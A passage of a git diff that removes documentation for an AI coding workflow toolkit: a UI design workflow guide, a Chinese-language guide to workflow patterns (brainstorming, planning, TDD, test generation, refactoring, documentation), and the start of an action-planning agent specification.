-/workflow:ui-design:imitate-auto \
-  --input "./src/components" \
-  --session WFS-002
-```
-
-**Output:**
-- `design-tokens.json` (unified style system)
-- `layout-templates.json` (page structures)
-- HTML prototypes based on the input references
-
----
-
-### Workflow C: Code-First Bootstrap
-
-**Goal:** Create a design system from an existing codebase.
-
-**Primary Command:** `import-from-code`
-
-**Steps:**
-
-1. **Initiate**: User runs `/workflow:ui-design:import-from-code --base-path ./src`
-2. **Analysis**: Parallel agents analyze CSS, JS, and HTML to find tokens, layouts, and animations.
-3. **Reporting**: Generates completeness reports and initial token files.
-4. **Supplement (Optional)**: Run `style-extract` or `layout-extract` to fill gaps identified in the reports.
-
-**Example:**
-
-```bash
-/workflow:ui-design:import-from-code \
-  --base-path ./src/components \
-  --session WFS-003
-```
-
-**Output:**
-- `design-tokens.json` (extracted from CSS variables, theme files)
-- `layout-templates.json` (extracted from component structures)
-- `completeness-report.md` (gaps and recommendations)
-- `import-summary.json` (statistics and findings)
-
----
-
-## Architecture & Best Practices
-
-### Separation of Concerns
-
-**Always keep design tokens separate from layout templates:**
-
-- `design-tokens.json` (Style) - Colors, typography, spacing, shadows
-- `layout-templates.json` (Structure) - DOM hierarchy, CSS layout rules
-- `animation-tokens.json` (Motion) - Transitions, keyframes, timing functions
-
-
-
-### Token-First CSS
-
-Generated CSS should primarily use CSS custom properties:
-
-```css
-/* Good - Token-based */
-.button {
-  background: var(--color-primary);
-  padding: var(--spacing-md);
-  border-radius: var(--radius-md);
-}
-
-/* Avoid - Hardcoded */
-.button {
-  background: #3b82f6;
-  padding: 16px;
-  border-radius: 8px;
-}
-```
-
-### Style-Centric Batching
-
-For high-volume generation:
-- Group tasks by style to minimize context switching
-- Use parallel generation with multiple targets
-- Reuse existing layout inspirations
-
-### Input Quality Guidelines
-
-**For Prompts:**
-- Specify the desired *vibe* (e.g., "minimalist, high-contrast")
-- Specify the *targets* (e.g., "dashboard, settings page")
-- Include functional requirements (e.g., "responsive, mobile-first")
-
-**For Local References:**
-- Use high-quality reference images (PNG, JPG)
-- Organize files in accessible directories
-- For code imports, ensure files are properly structured (CSS, JS, HTML)
-
----
-
-## Advanced Usage
-
-### Multi-Session Workflows
-
-You can run UI design workflows within an existing workflow session:
-
-```bash
-# 1. Start a workflow session
-/workflow:session:start --new
-
-# 2. Run exploratory design
-/workflow:ui-design:explore-auto --prompt "E-commerce checkout flow" --session <session-id>
-
-# 3. Update main session with design artifacts
-/workflow:ui-design:update --session <session-id> --selected-prototypes "v1,v2"
-```
-
-### Combining Workflows
-
-**Example: Imitation + Custom Extraction**
-
-```bash
-# 1. Import design from local references
-/workflow:ui-design:imitate-auto --input "design-refs/*.png"
-
-# 2. Extract additional layouts and generate prototypes
-/workflow:ui-design:layout-extract --targets "new-page-1,new-page-2"
-/workflow:ui-design:generate
-```
-
-### Deep Interactive Capture
-
-For complex UIs with overlays, modals, or dynamic content:
-
-```bash
-/workflow:ui-design:explore-layers \
-  --url https://complex-app.com \
-  --depth 3 \
-  --session WFS-005
-```
-
----
-
-## Troubleshooting
-
-| Issue | Likely Cause | Resolution |
-|-------|--------------|------------|
-| **Missing Design Tokens** | `style-extract` failed or wasn't run | Run `/workflow:ui-design:style-extract` manually or check logs |
-| **Inaccurate Layouts** | Complex DOM structure not captured | Use `--urls` in `layout-extract` for Chrome DevTools analysis |
-| **Empty Screenshots** | Anti-bot measures or timeout | Use `explore-layers` interactive mode or increase timeout |
-| **Generation Stalls** | Too many concurrent tasks | System defaults to max 6 parallel tasks; check resources |
-| **Integration Failures** | Session ID mismatch or missing markers | Ensure `--session <id>` matches active workflow session |
-| **Low Quality Tokens** | Insufficient reference material | Provide multiple reference images/URLs for better token extraction |
-| **Inconsistent Styles** | Multiple token files without merge | Use single unified `design-tokens.json` or explicit variants |
-
----
-
-## Command Reference Quick Links
-
-### Orchestrators
-- `/workflow:ui-design:explore-auto` - Create new designs from prompts
-- `/workflow:ui-design:imitate-auto` - Replicate existing designs
-
-### Extractors
-- `/workflow:ui-design:style-extract` - Extract visual design tokens
-- `/workflow:ui-design:layout-extract` - Extract layout structures
-- `/workflow:ui-design:animation-extract` - Extract motion patterns
-
-### Utilities
-- `/workflow:ui-design:capture` - Batch screenshot capture
-- `/workflow:ui-design:explore-layers` - Interactive deep capture
-- `/workflow:ui-design:import-from-code` - Bootstrap from existing code
-- `/workflow:ui-design:generate` - Assemble prototypes from tokens
-- `/workflow:ui-design:update` - Integrate with workflow sessions
-
----
-
-## Performance Optimization
-
-### Parallel Execution
-
-The system is designed to run extraction phases in parallel:
-- Animation and layout extraction can run concurrently
-- Multiple target generation runs in parallel (default: max 6)
-- Style variant generation is parallelized
-
-### Reuse Intermediates
-
-- Generation commands reuse existing layout inspirations
-- Cached screenshots avoid redundant captures
-- Token files can be versioned and reused
-
-### Resource Management
-
-- Each agent task consumes memory and CPU
-- Monitor system resources with large batch operations
-- Consider splitting large batches into smaller chunks
-
----
-
-## Related Guides
-
-- **Getting Started** - Basic workflow concepts
-- **Workflow Patterns** - General workflow guidance
-- **CLI Tools Guide** - CLI integration strategies
-- **Troubleshooting** - Common issues and solutions

.claude/skills/command-guide/guides/workflow-patterns.md

@@ -1,662 +0,0 @@
-# 常见工作流模式
-
-> 学习如何组合命令完成复杂任务，提升开发效率
-
-## 🎯 什么是工作流？
-
-工作流是**一系列命令的组合**，用于完成特定的开发目标。Claude DMS3 提供了多种工作流模式，覆盖从规划到测试的完整开发周期。
-
-**核心概念**：
-- **工作流（Workflow）**：一组相关任务的集合
-- **任务（Task）**：独立的工作单元，有明确的输入和输出
-- **Session**：工作流的执行实例，记录所有任务状态
-- **上下文（Context）**：任务执行所需的代码、文档、配置等信息
-
----
-
-## 💡 Pattern 0: 头脑风暴（从0到1的第一步）
-
-**⚠️ 重要**：这是**从0到1开发的起点**！在开始编码之前，通过多角色头脑风暴明确需求、技术选型和架构决策。
-
-**适用场景**：
-- 全新项目启动，需求和技术方案不明确
-- 重大功能开发，涉及多个技术领域和权衡
-- 架构决策，需要多角色视角分析
-
-**流程**：话题分析 → 角色选择 → 角色问答 → 冲突解决 → 生成指导文档
-
-### 模式 A：交互式头脑风暴（推荐）
-
-**特点**：通过问答交互，逐步明确需求和决策
-
-```bash
-# 步骤 1：启动头脑风暴
-/workflow:brainstorm:artifacts "
-GOAL: 实现实时协作编辑平台
-SCOPE: 支持100+用户同时在线，低延迟(<100ms)，冲突自动解决
-CONTEXT: MVP阶段，3个月上线，团队5人（2前端+2后端+1全栈）
-" --count 3
-
-# 系统输出 Phase 0：自动收集项目上下文
-# ✅ 分析现有代码库结构
-# ✅ 加载相关文档
-# ✅ 识别技术栈和依赖
-
-# 系统输出 Phase 1：意图分析（2-4个问题）
-# 【问题1 - 核心挑战】实时协作的主要技术挑战？
-# a) 实时数据同步
-# b) 可扩展性架构
-# c) 冲突解决机制
-# 【问题2 - 优先级】MVP阶段最关注？
-# a) 功能完整性
-# b) 用户体验
-# c) 系统稳定性
-# 请回答 (格式: 1a 2c)：
-
-# 用户输入：1c 2b
-
-# 系统输出 Phase 2：角色选择（推荐 count+2 个角色）
-# 【角色选择】请选择 3 个角色参与头脑风暴
-# a) system-architect (系统架构师) - 实时同步架构设计
-# b) ui-designer (UI设计师) - 协作界面用户体验
-# c) product-manager (产品经理) - 功能优先级决策
-# d) data-architect (数据架构师) - 数据同步模型设计
-# e) ux-expert (UX专家) - 多用户协作交互流程
-# 请输入选择 (格式: 2acd 或 2a 2c 2d)：
-
-# 用户输入：2acd
-
-# 系统输出 Phase 3：角色问题（每个角色 3-4 个问题）
-# ===== system-architect 问题 =====
-# 【问题1】100+ 用户实时状态同步方案？
-# a) Event Sourcing - 完整事件历史，易于回溯
-# b) 集中式状态管理 - 简单直接，适合MVP
-# c) CRDT - 自动冲突解决，分布式友好
-# 【问题2】低延迟通信协议选择？
-# ...
-# 请回答：
-
-# 用户输入：1c 2a 3b 4c
-
-# 系统输出 Phase 4：冲突检测和解决
-# 【冲突1】CRDT 与 UI 回滚期望冲突
-# Background: system-architect 选择 CRDT，但 ui-designer 期望回滚UI
-# a) 采用 CRDT，显示合并状态
-# b) 切换到 OT 算法支持回滚
-# c) 混合方案：CRDT + 本地撤销栈
-# ...
-
-# 系统输出 Phase 5：生成指导文档
-# ✅ 生成 guidance-specification.md
-# ✅ 记录所有决策和理由
-# ✅ 标注冲突解决方案
-# 📁 文件位置：.workflow/WFS-realtime-collab/.brainstorming/guidance-specification.md
-
-# 步骤 2：查看生成的指导文档
-cat .workflow/WFS-*//.brainstorming/guidance-specification.md
-```
-
-### 模式 B：自动并行头脑风暴（快速）
-
-**特点**：自动选择角色，并行执行，快速生成多角色分析
-
-```bash
-# 步骤 1：一键启动并行头脑风暴
-/workflow:brainstorm:auto-parallel "
-GOAL: 实现支付处理模块
-SCOPE: 支持微信/支付宝/银行卡，日交易10万笔，99.99%可用性
-CONTEXT: 金融合规要求，PCI DSS认证，风控系统集成
-" --count 4
-
-# 系统输出：
-# ✅ Phase 0: 收集项目上下文
-# ✅ Phase 1-2: artifacts 交互式框架生成
-# ⏳ Phase 3: 4个角色并行分析
-#   - system-architect → 分析中...
-#   - data-architect → 分析中...
-#   - product-manager → 分析中...
-#   - subject-matter-expert → 分析中...
-# ✅ Phase 4: synthesis 综合分析
-# 📁 输出文件：
-#   - .brainstorming/guidance-specification.md (框架)
-#   - system-architect/analysis.md
-#   - data-architect/analysis.md
-#   - product-manager/analysis.md
-#   - subject-matter-expert/analysis.md
-#   - synthesis/final-recommendations.md
-
-# 步骤 2：查看综合建议
-cat .workflow/WFS-*//.brainstorming/synthesis/final-recommendations.md
-```
-
-### 模式 C：单角色深度分析（特定领域）
-
-**特点**：针对特定领域问题，调用单个角色深度分析
-
-```bash
-# 系统架构分析
-/workflow:brainstorm:system-architect "API 网关架构设计，支持10万QPS，微服务集成"
-
-# UI 设计分析
-/workflow:brainstorm:ui-designer "管理后台界面设计，复杂数据展示，操作效率优先"
-
-# 数据架构分析
-/workflow:brainstorm:data-architect "分布式数据存储方案，MySQL+Redis+ES 组合"
-```
-
-### 关键点
-
-1. **Phase 0 自动上下文收集**：
-   - 自动分析现有代码库、文档、技术栈
-   - 识别潜在冲突和集成点
-   - 为后续问题生成提供上下文
-
-2. **动态问题生成**：
-   - 基于话题关键词和项目上下文生成问题
-   - 不使用预定义模板
-   - 问题直接针对你的具体场景
-
-3. **智能角色推荐**：
-   - 基于话题分析推荐最相关的角色
-   - 推荐 count+2 个角色供选择
-   - 每个角色都有基于话题的推荐理由
-
-4. **输出物**：
-   - `guidance-specification.md` - 确认的指导规范（决策、理由、集成点）
-   - `{role}/analysis.md` - 各角色详细分析（仅 auto-parallel 模式）
-   - `synthesis/final-recommendations.md` - 综合建议（仅 auto-parallel 模式）
-
-5. **下一步**：
-   - 头脑风暴完成后，使用 `/workflow:plan` 基于指导文档生成实施计划
-   - 指导文档作为规划和实现的权威参考
-
-### 使用场景对比
-
-| 场景 | 推荐模式 | 原因 |
-|------|---------|------|
-| 全新项目启动 | 交互式 (artifacts) | 需要充分澄清需求和约束 |
-| 重大架构决策 | 交互式 (artifacts) | 需要深入讨论权衡 |
-| 快速原型验证 | 自动并行 (auto-parallel) | 快速获得多角色建议 |
-| 特定技术问题 | 单角色 (specific role) | 专注某个领域深度分析 |
-
----
-
-## 📋 Pattern 1: 规划→执行（最常用）
-
-**适用场景**：实现新功能、新模块
-
-**流程**：规划 → 执行 → 查看状态
-
-### 完整示例
-
-```bash
-# 步骤 1：规划任务
-/workflow:plan --agent "实现用户认证模块"
-
-# 系统输出：
-# ✅ 规划完成
-# 📁 Session: WFS-20251106-123456
-# 📋 生成 5 个任务
-
-# 步骤 2：执行任务
-/workflow:execute
-
-# 系统输出：
-# ⏳ 执行 task-001-user-model...
-# ✅ task-001 完成
-# ⏳ 执行 task-002-login-api...
-# ...
-
-# 步骤 3：查看状态
-/workflow:status
-
-# 系统输出：
-# Session: WFS-20251106-123456
-# Total: 5 | Completed: 5 | Pending: 0
-```
-
-**关键点**：
-- `--agent` 参数使用 AI 生成更详细的计划
-- 系统自动发现最新 session，无需手动指定
-- 所有任务按依赖顺序自动执行
-
----
-
-## 🧪 Pattern 2: TDD测试驱动开发
-
-**适用场景**：需要高质量代码和测试覆盖
-
-**流程**：TDD规划 → 执行（红→绿→重构）→ 验证
-
-### 完整示例
-
-```bash
-# 步骤 1：TDD 规划
-/workflow:tdd-plan --agent "实现购物车功能"
-
-# 系统输出：
-# ✅ TDD 任务链生成
-# 📋 Red-Green-Refactor 周期：
-#   - task-001-cart-tests (RED)
-#   - task-002-cart-implement (GREEN)
-#   - task-003-cart-refactor (REFACTOR)
-
-# 步骤 2：执行 TDD 周期
-/workflow:execute
-
-# 系统会自动：
-# 1. 生成失败的测试（RED）
-# 2. 实现代码让测试通过（GREEN）
-# 3. 重构代码（REFACTOR）
-
-# 步骤 3：验证 TDD 合规性
-/workflow:tdd-verify
-
-# 系统输出：
-# ✅ TDD 周期完整
-# ✅ 测试覆盖率: 95%
-# ✅ Red-Green-Refactor 合规
-```
-
-**关键点**：
-- TDD 模式自动生成测试优先的任务链
-- 每个任务有依赖关系，确保正确的顺序
-- 验证命令检查 TDD 合规性
-
----
-
-## 🔄 Pattern 3: 测试生成
-
-**适用场景**：已有代码，需要生成测试
-
-**流程**：分析代码 → 生成测试策略 → 执行测试生成
-
-### 完整示例
-
-```bash
-# 步骤 1：实现功能（已完成）
-# 假设已经完成实现，session 为 WFS-20251106-123456
-
-# 步骤 2：生成测试
-/workflow:test-gen WFS-20251106-123456
-
-# 系统输出：
-# ✅ 分析实现代码
-# ✅ 生成测试策略
-# 📋 创建测试任务：WFS-test-20251106-789
-
-# 步骤 3：执行测试生成
-/workflow:test-cycle-execute --resume-session WFS-test-20251106-789
-
-# 系统输出：
-# ⏳ 生成测试用例...
-# ⏳ 执行测试...
-# ❌ 3 tests failed
-# ⏳ 修复失败测试...
-# ✅ All tests passed
-```
-
-**关键点**：
-- `test-gen` 分析现有代码生成测试
-- `test-cycle-execute` 自动生成→测试→修复循环
-- 最多迭代 N 次直到所有测试通过
-
----
-
-## 🎨 Pattern 4: UI 设计工作流
-
-**适用场景**：基于设计稿或现有网站实现 UI
-
-**流程**：提取样式 → 提取布局 → 生成原型 → 更新
-
-### 完整示例
-
-```bash
-# 步骤 1：提取设计样式
-/workflow:ui-design:style-extract \
-  --images "design/*.png" \
-  --mode imitate \
-  --variants 3
-
-# 系统输出：
-# ✅ 提取颜色系统
-# ✅ 提取字体系统
-# ✅ 生成 3 个样式变体
-
-# 步骤 2：提取页面布局
-/workflow:ui-design:layout-extract \
-  --urls "https://example.com/dashboard" \
-  --device-type responsive
-
-# 系统输出：
-# ✅ 提取布局结构
-# ✅ 识别组件层次
-# ✅ 生成响应式布局
-
-# 步骤 3：生成 UI 原型
-/workflow:ui-design:generate \
-  --style-variants 2 \
-  --layout-variants 2
-
-# 系统输出：
-# ✅ 生成 4 个原型组合
-# 📁 输出：.workflow/ui-design/prototypes/
-
-# 步骤 4：更新最终版本
-/workflow:ui-design:update \
-  --session ui-session-id \
-  --selected-prototypes "proto-1,proto-3"
-
-# 系统输出：
-# ✅ 应用最终设计系统
-# ✅ 更新所有原型
-```
-
-**关键点**：
-- 支持从图片或 URL 提取设计
-- 可生成多个变体供选择
-- 最终更新使用确定的设计系统
-
----
-
-## 🔍 Pattern 5: 代码分析→重构
-
-**适用场景**：优化现有代码，提高可维护性
-
-**流程**：分析现状 → 制定计划 → 执行重构 → 生成测试
-
-### 完整示例
-
-```bash
-# 步骤 1：分析代码质量
-/cli:analyze --tool gemini --cd src/auth \
-  "评估认证模块的代码质量、可维护性和潜在问题"
-
-# 系统输出：
-# ✅ 识别 3 个设计问题
-# ✅ 发现 5 个性能瓶颈
-# ✅ 建议 7 项改进
-
-# 步骤 2：制定重构计划
-/cli:mode:plan --tool gemini --cd src/auth \
-  "基于上述分析，制定认证模块重构方案"
-
-# 系统输出：
-# ✅ 重构计划生成
-# 📋 包含 8 个重构任务
-
-# 步骤 3：执行重构
-/cli:execute --tool codex \
-  "按照重构计划执行认证模块重构"
-
-# 步骤 4：生成测试确保正确性
-/workflow:test-gen WFS-refactor-session-id
-```
-
-**关键点**：
-- Gemini 用于分析和规划（理解）
-- Codex 用于执行实现（重构）
-- 重构后必须生成测试验证
-
----
-
-## 📚 Pattern 6: 文档生成
-
-**适用场景**：为项目或模块生成文档
-
-**流程**：分析代码 → 生成文档 → 更新索引
-
-### 完整示例
-
-```bash
-# 方式 1：为单个模块生成文档
-/memory:docs src/auth --tool gemini --mode full
-
-# 系统输出：
-# ✅ 分析模块结构
-# ✅ 生成 CLAUDE.md
-# ✅ 生成 API 文档
-# ✅ 生成使用指南
-
-# 方式 2：更新所有模块文档
-/memory:update-full --tool gemini
-
-# 系统输出：
-# ⏳ 按层级更新文档...
-# ✅ Layer 3: 12 modules updated
-# ✅ Layer 2: 5 modules updated
-# ✅ Layer 1: 2 modules updated
-
-# 方式 3：只更新修改过的模块
-/memory:update-related --tool gemini
-
-# 系统输出：
-# ✅ 检测 git 变更
-# ✅ 更新 3 个相关模块
-```
-
-**关键点**：
-- `--mode full` 生成完整文档
-- `update-full` 适用于初始化或大规模更新
-- `update-related` 适用于日常增量更新
-
----
-
-## 🔄 Pattern 7: 恢复和继续
-
-**适用场景**：中断后继续工作，或修复失败的任务
-
-**流程**：查看状态 → 恢复 session → 继续执行
-
-### 完整示例
-
-```bash
-# 步骤 1：查看所有 session
-/workflow:status
-
-# 系统输出：
-# Session: WFS-20251106-123456 (5/10 completed)
-# Session: WFS-20251105-234567 (10/10 completed)
-
-# 步骤 2：恢复特定 session
-/workflow:resume WFS-20251106-123456
-
-# 系统输出：
-# ✅ Session 恢复
-# 📋 5/10 tasks completed
-# ⏳ 待执行: task-006, task-007, ...
-
-# 步骤 3：继续执行
-/workflow:execute --resume-session WFS-20251106-123456
-
-# 系统输出：
-# ⏳ 继续执行 task-006...
-# ✅ task-006 完成
-# ...
-```
-
-**关键点**：
-- 所有 session 状态都被保存
-- 可以随时恢复中断的工作流
-- 恢复时自动分析进度和待办任务
-
----
-
-## 🎯 Pattern 8: 快速实现（Codex YOLO）
-
-**适用场景**：快速实现简单功能，跳过规划
-
-**流程**：直接执行 → 完成
-
-### 完整示例
-
-```bash
-# 一键实现功能
-/cli:codex-execute --verify-git \
-  "实现用户头像上传功能：
-  - 支持 jpg/png 格式
-  - 自动裁剪为 200x200
-  - 压缩到 100KB 以下
-  - 上传到 OSS
-  "
-
-# 系统输出：
-# ⏳ 分析需求...
-# ⏳ 生成代码...
-# ⏳ 集成现有代码...
-# ✅ 功能实现完成
-# 📁 修改文件:
-#   - src/api/upload.ts
-#   - src/utils/image.ts
-```
-
-**关键点**：
-- 适合简单、独立的功能
-- `--verify-git` 确保 git 状态干净
-- 自动分析需求并完整实现
-
----
-
-## 🤝 Pattern 9: 多工具协作
-
-**适用场景**：复杂任务需要多个 AI 工具配合
-
-**流程**：Gemini 分析 → Gemini/Qwen 规划 → Codex 实现
-
-### 完整示例
-
-```bash
-# 步骤 1：Gemini 深度分析
-/cli:analyze --tool gemini \
-  "分析支付模块的安全性和性能问题"
-
-# 步骤 2：多工具讨论方案
-/cli:discuss-plan --topic "支付模块重构方案" --rounds 3
-
-# 系统输出：
-# Round 1:
-#   Gemini: 建议方案 A（关注安全）
-#   Codex: 建议方案 B（关注性能）
-# Round 2:
-#   Gemini: 综合分析...
-#   Codex: 技术实现评估...
-# Round 3:
-#   最终方案: 方案 C（安全+性能）
-
-# 步骤 3：Codex 执行实现
-/cli:execute --tool codex "按照方案 C 重构支付模块"
-```
-
-**关键点**：
-- `discuss-plan` 让多个 AI 讨论方案
-- 每个工具贡献自己的专长
-- 最终选择综合最优方案
-
----
-
-## 📊 工作流选择指南
-
-**核心区分**：从0到1 vs 功能新增
-- **从0到1**：全新项目、新产品、重大架构决策 → **必须头脑风暴**
-- **功能新增**：已有项目中添加功能 → **可直接规划**
-
-```mermaid
-graph TD
-    A[我要做什么?] --> B{项目阶段?}
-
-    B -->|从0到1<br/>全新项目/产品| Z[💡头脑风暴<br/>必经阶段]
-    B -->|功能新增<br/>已有项目| C{任务类型?}
-
-    Z --> Z1[/workflow:brainstorm:artifacts<br/>或<br/>/workflow:brainstorm:auto-parallel]
-    Z1 --> Z2[⬇️ 生成指导文档]
-    Z2 --> C
-
-    C -->|新功能| D[规划→执行]
-    C -->|需要测试| E{代码是否存在?}
-    C -->|UI开发| F[UI设计工作流]
-    C -->|代码优化| G[分析→重构]
-    C -->|生成文档| H[文档生成]
-    C -->|快速实现| I[Codex YOLO]
-
-    E -->|不存在| J[TDD工作流]
-    E -->|已存在| K[测试生成]
-
-    D --> L[/workflow:plan<br/>↓<br/>/workflow:execute]
-    J --> M[/workflow:tdd-plan<br/>↓<br/>/workflow:execute]
-    K --> N[/workflow:test-gen<br/>↓<br/>/workflow:test-cycle-execute]
-    F --> O[/workflow:ui-design:*]
-    G --> P[/cli:analyze<br/>↓<br/>/cli:mode:plan<br/>↓<br/>/cli:execute]
-    H --> Q[/memory:docs]
-    I --> R[/cli:codex-execute]
-```
-
-**说明**：
-- **从0到1场景**：创业项目、新产品线、系统重构 → 头脑风暴明确方向后再规划
-- **功能新增场景**：现有系统添加模块、优化现有功能 → 直接进入规划或分析
-
----
-
-## 💡 最佳实践
-
-### ✅ 推荐做法
-
-1. **复杂任务使用完整工作流**
-   ```bash
-   /workflow:plan → /workflow:execute → /workflow:test-gen
-   ```
-
-2. **简单任务使用 Codex YOLO**
-   ```bash
-   /cli:codex-execute "快速实现xxx"
-   ```
-
-3. **重要代码使用 TDD**
-   ```bash
-   /workflow:tdd-plan → /workflow:execute → /workflow:tdd-verify
-   ```
-
-4. **定期更新文档**
-   ```bash
-   /memory:update-related  # 每次提交前
-   ```
-
-5. **善用恢复功能**
-   ```bash
-   /workflow:status → /workflow:resume
-   ```
-
----
-
-### ❌ 避免做法
-
-1. **⚠️ 不要在从0到1场景跳过头脑风暴**
-   - ❌ 全新项目直接 `/workflow:plan`
-   - ✅ 先 `/workflow:brainstorm:artifacts` 明确方向再规划
-
-2. **不要跳过规划直接执行复杂任务**
-   - ❌ 直接 `/cli:execute` 实现复杂功能
-   - ✅ 先 `/workflow:plan` 再 `/workflow:execute`
-
-3. **不要忽略测试**
-   - ❌ 实现完成后不生成测试
-   - ✅ 使用 `/workflow:test-gen` 生成测试
-
-4. **不要遗忘文档**
-   - ❌ 代码实现后忘记更新文档
-   - ✅ 使用 `/memory:update-related` 自动更新
-
----
-
-## 🔗 相关资源
-
-- **快速入门**：[Getting Started](getting-started.md) - 5分钟上手
-- **CLI 工具**：[CLI Tools Guide](cli-tools-guide.md) - Gemini/Qwen/Codex 详解
-- **UI设计工作流**：[UI Design Workflow Guide](ui-design-workflow-guide.md) - UI设计完整指南
-- **问题排查**：[Troubleshooting](troubleshooting.md) - 常见问题解决
-- **完整命令列表**：查看 `index/all-commands.json`
-
----
-
-**最后更新**: 2025-11-06
-
-记住：选择合适的工作流模式，事半功倍！不确定用哪个？使用 `ccw` 询问 Command Guide！

.claude/skills/command-guide/reference/agents/action-planning-agent.md

@@ -1,857 +0,0 @@
----
-name: action-planning-agent
-description: |
-  Pure execution agent for creating implementation plans based on provided requirements and control flags. This agent executes planning tasks without complex decision logic - it receives context and flags from command layer and produces actionable development plans.
-
-  Examples:
-  - Context: Command provides requirements with flags
-    user: "EXECUTION_MODE: DEEP_ANALYSIS_REQUIRED - Implement OAuth2 authentication system"
-    assistant: "I'll execute deep analysis and create a staged implementation plan"
-    commentary: Agent receives flags from command layer and executes accordingly
-
-  - Context: Standard planning execution
-    user: "Create implementation plan for: real-time notifications system"
-    assistant: "I'll create a staged implementation plan using provided context"
-    commentary: Agent executes planning based on provided requirements and context
-color: yellow
----
-
-## Overview
-
-**Agent Role**: Pure execution agent that transforms user requirements and brainstorming artifacts into structured, executable implementation plans with quantified deliverables and measurable acceptance criteria. Receives requirements and control flags from the command layer and executes planning tasks without complex decision-making logic.
-
-**Core Capabilities**:
-- Load and synthesize context from multiple sources (session metadata, context packages, brainstorming artifacts)
-- Generate task JSON files with 6-field schema and artifact integration
-- Create IMPL_PLAN.md and TODO_LIST.md with proper linking
-- Support both agent-mode and CLI-execute-mode workflows
-- Integrate MCP tools for enhanced context gathering
-
-**Key Principle**: All task specifications MUST be quantified with explicit counts, enumerations, and measurable acceptance criteria to eliminate ambiguity.
-
----
-
-## 1. Input & Execution
-
-### 1.1 Input Processing
-
-**What you receive from command layer:**
-- **Session Paths**: File paths to load content autonomously
-  - `session_metadata_path`: Session configuration and user input
-  - `context_package_path`: Context package with brainstorming artifacts catalog
-- **Metadata**: Simple values
-  - `session_id`: Workflow session identifier (WFS-[topic])
-  - `mcp_capabilities`: Available MCP tools (exa_code, exa_web, code_index)
-
-**Legacy Support** (backward compatibility):
-- **pre_analysis configuration**: Multi-step array format with action, template, method fields
-- **Control flags**: DEEP_ANALYSIS_REQUIRED, etc.
-- **Task requirements**: Direct task description
-
-### 1.2 Execution Flow
-
-#### Phase 1: Context Loading & Assembly
-
-**Step-by-step execution**:
-
-```
-1. Load session metadata → Extract user input
-   - User description: Original task/feature requirements
-   - Project scope: User-specified boundaries and goals
-   - Technical constraints: User-provided technical requirements
-
-2. Load context package → Extract structured context
-   Commands: Read({{context_package_path}})
-   Output: Complete context package object
-
-3. Check existing plan (if resuming)
-   - If IMPL_PLAN.md exists: Read for continuity
-   - If task JSONs exist: Load for context
-
-4. Load brainstorming artifacts (in priority order)
-   a. guidance-specification.md (Highest Priority)
-      → Overall design framework and architectural decisions
-   b. Role analyses (progressive loading: load incrementally by priority)
-      → Load role analysis files one at a time as needed
-      → Reason: Each analysis.md is long; progressive loading prevents token overflow
-   c. Synthesis output (if exists)
-      → Integrated view with clarifications
-   d. Conflict resolution (if conflict_risk ≥ medium)
-      → Review resolved conflicts in artifacts
-
-5. Optional MCP enhancement
-   → mcp__exa__get_code_context_exa() for best practices
-   → mcp__exa__web_search_exa() for external research
-
-6. Assess task complexity (simple/medium/complex)
-```
-
-**MCP Integration** (when `mcp_capabilities` available):
-
-```javascript
-// Exa Code Context (mcp_capabilities.exa_code = true)
-mcp__exa__get_code_context_exa(
-  query="TypeScript OAuth2 JWT authentication patterns",
-  tokensNum="dynamic"
-)
-
-// Integration in flow_control.pre_analysis
-{
-  "step": "local_codebase_exploration",
-  "action": "Explore codebase structure",
-  "commands": [
-    "bash(rg '^(function|class|interface).*[task_keyword]' --type ts -n --max-count 15)",
-    "bash(find . -name '*[task_keyword]*' -type f | grep -v node_modules | head -10)"
-  ],
-  "output_to": "codebase_structure"
-}
-```
-
-**Context Package Structure** (fields defined by context-search-agent):
-
-**Always Present**:
-- `metadata.task_description`: User's original task description
-- `metadata.keywords`: Extracted technical keywords
-- `metadata.complexity`: Task complexity level (simple/medium/complex)
-- `metadata.session_id`: Workflow session identifier
-- `project_context.architecture_patterns`: Architecture patterns (MVC, Service layer, etc.)
-- `project_context.tech_stack`: Language, frameworks, libraries
-- `project_context.coding_conventions`: Naming, error handling, async patterns
-- `assets.source_code[]`: Relevant existing files with paths and metadata
-- `assets.documentation[]`: Reference docs (CLAUDE.md, API docs)
-- `assets.config[]`: Configuration files (package.json, .env.example)
-- `assets.tests[]`: Test files
-- `dependencies.internal[]`: Module dependencies
-- `dependencies.external[]`: Package dependencies
-- `conflict_detection.risk_level`: Conflict risk (low/medium/high)
-
-**Conditionally Present** (check existence before loading):
-- `brainstorm_artifacts.guidance_specification`: Overall design framework (if exists)
-  - Check: `brainstorm_artifacts?.guidance_specification?.exists === true`
-  - Content: Use `content` field if present, else load from `path`
-- `brainstorm_artifacts.role_analyses[]`: Role-specific analyses (if array not empty)
-  - Each role: `role_analyses[i].files[j]` has `path` and `content`
-- `brainstorm_artifacts.synthesis_output`: Synthesis results (if exists)
-  - Check: `brainstorm_artifacts?.synthesis_output?.exists === true`
-  - Content: Use `content` field if present, else load from `path`
-- `conflict_detection.affected_modules[]`: Modules with potential conflicts (if risk ≥ medium)
-
-**Field Access Examples**:
-```javascript
-// Always safe - direct field access
-const techStack = contextPackage.project_context.tech_stack;
-const riskLevel = contextPackage.conflict_detection.risk_level;
-const existingCode = contextPackage.assets.source_code; // Array of files
-
-// Conditional - use content if available, else load from path
-if (contextPackage.brainstorm_artifacts?.guidance_specification?.exists) {
-  const spec = contextPackage.brainstorm_artifacts.guidance_specification;
-  const content = spec.content || Read(spec.path);
-}
-
-if (contextPackage.brainstorm_artifacts?.role_analyses?.length > 0) {
-  // Progressive loading: load role analyses incrementally by priority
-  contextPackage.brainstorm_artifacts.role_analyses.forEach(role => {
-    role.files.forEach(file => {
-      const analysis = file.content || Read(file.path); // Load one at a time
-    });
-  });
-}
-```
-
-#### Phase 2: Document Generation
-
-**Autonomous output generation**:
-
-```
-1. Synthesize requirements from all sources
-   - User input (session metadata)
-   - Brainstorming artifacts (guidance, role analyses, synthesis)
-   - Context package (project structure, dependencies, patterns)
-
-2. Generate task JSON files
-   - Apply 6-field schema (id, title, status, meta, context, flow_control)
-   - Integrate artifacts catalog into context.artifacts array
-   - Add quantified requirements and measurable acceptance criteria
-
-3. Create IMPL_PLAN.md
-   - Load template: Read(~/.claude/workflows/cli-templates/prompts/workflow/impl-plan-template.txt)
-   - Follow template structure and validation checklist
-   - Populate all 8 sections with synthesized context
-   - Document CCW workflow phase progression
-   - Update quality gate status
-
-4. Generate TODO_LIST.md
-   - Flat structure ([ ] for pending, [x] for completed)
-   - Link to task JSONs and summaries
-
-5. Update session state for execution readiness
-```
-
----
-
-## 2. Output Specifications
-
